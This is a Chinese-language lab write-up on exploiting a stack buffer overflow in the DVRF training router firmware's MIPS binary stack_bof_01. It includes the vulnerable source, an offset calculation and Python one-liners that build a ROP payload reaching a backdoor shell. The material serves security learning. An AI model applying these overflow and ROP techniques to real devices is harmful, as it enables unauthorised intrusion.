前言
最后在学习 MIPS 漏洞挖掘的过程中,找到了一个不错的靶机平台 The Damn Vulnerable Router Firmware Project
项目地址:https://github.com/praetorian-inc/DVRF
The goal of this project is to simulate a real world environment to help people learn about other CPU architectures outside of the x86_64 space. This project will also help people get into discovering new things about hardware.
项目目录的结构:
Firmware 目录里存放的是路由器的固件文件,需要用 binwalk 进行提取
Pwnable Source 和 Source Code 都是放置存在漏洞的源代码的目录
前期环境准备
虚拟机环境的话可以选择 ubuntu 或者 debian,这里推荐 ubuntu 16.04
- IDA 的话推荐 6.8 版本的,下面这个链接来下载
http://pan.baidu.com/s/1i4f1Lbf
要模拟路由器固件环境需要用到几个基本的工具:
qemu/qemu-user-static/qemu-mips-static
binwalk
buildroot
mips-gdb
这些程序都可以使用 apt 来安装,或者可以看下面的这篇文章的安装教程:
https://www.anquanke.com/post/id/84580
如果安装过程中有问题的话可以参考下面这篇文章:
https://xz.aliyun.com/t/3826
或者这里有一个教程专门介绍在 qemu 下安装这个环境
https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1
将项目 git clone 下来之后,使用 binwalk -Me 来提取出固件
参数的说明
-M[--matryoshka] # 根据 magic 签名扫描结果进行递归提取
-e[--extract] # 如果探测到文件系统则尝试提取
在 squashfs-root/ 目录下发现是一个 Linksys E1550 的固件环境
进入到 pwnable 目录下,发现有几个程序。
先看第一个漏洞程序,file 发现是 32 为小端的 MIPS 架构的 ELF 文件,也就是路由器等嵌入式系统使用的架构
要运行他首先要把 qemu-mipsel 或者 qemu-mipsel-static 复制到当前的目录下(路由器根目录)
- 这里之所以要把程序放到 pwnable 目录里,是因为程序可以直接调用当前路由器的动态链接库,相当于借用路由器固件的库来使用
使用的命令:
cp $(which qemu-mipsel-static) ./
或者
cp $(which qemu-mipsel) ./
这里两句的命令的意思是寻找 qemu-mipsel-static 和 qemu-mipsel 可执行文件的位置,并把他复制到当前目录下
这里要运行的话必须指定根目录,所以我们需要退回到路由器的根目录下来,用 -L 参数来指定根目录:
./qemu-mipsel-static -L ./ pwnable/ShellCode_Required/socket_bof
可以看到程序成功运行起来了,接下来进行程序和源代码的分析
题目分析
IDA 静态分析
靶机当中给了 ELF 程序和源代码,这里建议先用 IDA 打开,汇编代码先过一遍,然后再看源代码
32 位的 IDA 打开查看 main 函数,前面是一些初始化工作,调用 memset 函数
在下面有一个 strcpy 函数
.text:004008A8 lw $gp, 0xE8+var_D8($fp)
.text:004008AC lw $v0, 0xE8+arg_4($fp)
.text:004008B0 nop
.text:004008B4 addiu $v0, 4
.text:004008B8 lw $v0, 0($v0)
.text:004008BC nop
.text:004008C0 move $v1, $v0
.text:004008C4 addiu $v0, $fp, 0xE8+var_D0
.text:004008C8 move $a0, $v0 # dest
.text:004008CC move $a1, $v1 # src
.text:004008D0 la $t9, strcpy
.text:004008D4 nop
.text:004008D8 jalr $t9 ; strcpy
.text:004008DC nop
仔细查看 strcpy 函数的两个参数,这里的 $a1 是从 $v0 传过来的,而 $v0 是从命令行参数传过来的值。
而这里的 $v0 是栈上的 buf 缓冲区。
这里调用 strcpy(buf,argv[0]) 函数,没有考虑到长度的问题,所以很明显存在栈溢出漏洞。
在左边的函数列表里,我们还可以发现其中的一个后门函数。这个函数直接调用了 system("/bin/sh -c") 来进行 getshell
所以这里很明显可以通过栈溢出来控制返回地址到这个函数,进行 getshell
程序源代码分析
再看一下第一个程序的源代码:
#include <string.h>
#include <stdio.h>
//Simple BoF by b1ack0wl for E1550
int main(int argc, char **argv[]){
char buf[200] =" ";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>
-By b1ack0wl
");
exit(1);
}
printf("Welcome to the first BoF exercise!
");
strcpy(buf, argv[1]);
printf("You entered %s
", buf);
printf("Try Again
");
return 0x41; // Just so you can see what register is populated for return statements
}
void dat_shell(){
printf("Congrats! I will now execute /bin/sh
-b1ack0wl
");
system("/bin/sh -c");
//execve("/bin/sh","-c",0);
//execve("/bin/sh", 0, 0);
exit(0);
}
这里果然是调用了 strcpy 函数接受命令行参数之后,直接将这个字符串放到缓存区中(len(buf) = 200),没有考虑目的缓冲区的大小导致的栈溢出。
后门函数也和我们分析的一样,直接调用 system 函数
栈溢出利用
IDA 动态调试分析
运行程序加上 -g 参数后使用 IDA 进行动态调试
若对调试的方法不太熟悉可以看笔者之前的文章:
https://www.anquanke.com/post/id/169689
在 0x004008C8 地址处下一个断点,观察参数的变化:
F9 运行到指定位置,F7 单步两次,查看寄存器的值
直接运行起来的话会发现程序会 crash 掉。
单步的话也可以看到返回地址被填充为了 'AAAA',溢出成功
确定偏移
使用 patternLocOffset.py 工具来确定偏移,生成 300 个字符串
python patternLocOffset.py -c -l 300 -f offset
复制字符串作为程序的命令行参数
开启 IDA 的远程调试,在 0x0040093C 处下断点,也就是给 $ra 赋值的地方。
单步步过以后会发现,此时 $ra 的值是 0x41386741
我们用这个值来确定偏移:
nick@nick-machine:~/iot/tools$ python patternLocOffset.py -s 0x41386741 -l 300
[*] Create pattern string contains 300 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 204 (adjusted another-endian)
[+] take time: 0.0122 s
字符串在偏移 204 的位置,也就是填充 204 个字符串以后,再填充四个字节就是 $ra 的值
这里我们把他换成后门的地址就行了,注意这里是小端的格式
继续使用 IDA 来动态调试,将 payload 输入到 test 文件中
python -c "print 'a'*204+'x50x09x40x00'" > test
下断点把他运行起来
./qemu-mipsel -L ./ -g 23946 ./pwnable/Intro/stack_bof_01 "`cat test`"
但是在进入 dat_shell 函数时,运行到某一个地方时,程序又 crash 掉,这是为什么呢?
因为这涉及到 MIPS 指令集的特点,t9 寄存器总是保存的是函数的开头地址,若通过控制 ra 直接劫持到目标函数,t9 寄存器没有变化,还是原来调用过的函数的地址
所以需要调用 ROP 来设置一次 t9 寄存器的地址为后门地址,进而 jr $t9,才能使得 gp 寄存器正确的寻址
- 这里不能用 python -c 命令作为命令行参数传进去,因为在 python 输出过程中会被截断
所以我们这里需要构造 ROP 来进行调用后门函数。
ROP 的构造
构造的原因和原理可以看下面的链接,这里就不造轮子了。
http://www.myzaker.com/article/599f82511bc8e0390f00001b/
首先我们在 IDA 中使用 mipsrop 来寻找合适的 gadget。
最方便的方式就是直接在栈上构造 dat_shell 的地址,使用 li/lw 命令传入 $t9 寄存器之后直接调用 gadget。
将路由器目录下的 lib 目录下的 libc.so.0 加载进 IDA,使用 mipsrop 插件在 0x6B20 处发现一个合适的 gadget
这个 gadget 直接将栈上的第一个内存空间做为函数来直接调用。
这里找到了这个偏移后,我们还需要找到我们本地的 libc 的基地址。
这里本来可以在关闭本机的 ASLR 以后,使用 mipsel-ldd 工具来查看程序的 libc 基地址
但是不知道为什么这里出错查看不了。
所以这里选择 gdb 调试来查看区段的映射信息。(IDA 里无法查看 libc/动态链接库的内存空间)
gdb 的动态调试
使用 gdb 进行动态调试的话会比较方便,只需要在本地编译安装一个 mips 架构的 gdb,或者可以直接使用 buildroot 编译好的 gdb(output/host 目录下)
gdb 加载程序以后挂上远程调试:
set architecture mips
target remote 127.0.0.1:23946
连接上远程 gdb 调试之后,程序会自动断在开头,之后就是和 x86 程序一样的调试了。
- vmmap 命令来查看映射,得到 libc 的地址 0x766ebb20
上图也验证了 ROP 的地址就是我们需要的 gadget 的地址
调用 gadget 分析
python -c "print 'a'*204+'\x20\xbb\x6e\x76'+'\x50\x09\x40\x00'" > test
./qemu-mipsel -g 23946 -L ./ ./pwnable/Intro/stack_bof_01 `cat 'test'`
gdb 下断:
b *0x00400948
这里 jr $ra 之后就会跳转到 gadget 之后,再 jr 到 dat_shell 函数的地址了
getshell
填充说明:
\x20\xbb\x6e\x76 # 跳转到 gadget,将栈上第一个参数传给 $t9 并调用
\x50\x09\x40\x00 # jr $t9
这边成功执行了 system 函数
一些技巧
-
可以使用 buildroot output/host 目录下的一些工具,例如 ldd、objdump,这里最好将 output/host 目录导入到环境变量里去/
-
IDA 版本最好选择 6.8 的,7.0 版本的对于 MIPS 架构程序的分析还存在一些问题。
-
多用 gdb 代替 IDA 来进行动态调试
总结
这里栈溢出利用的技巧还是 ROP 链的构造,还是多动手调试才能更加熟练。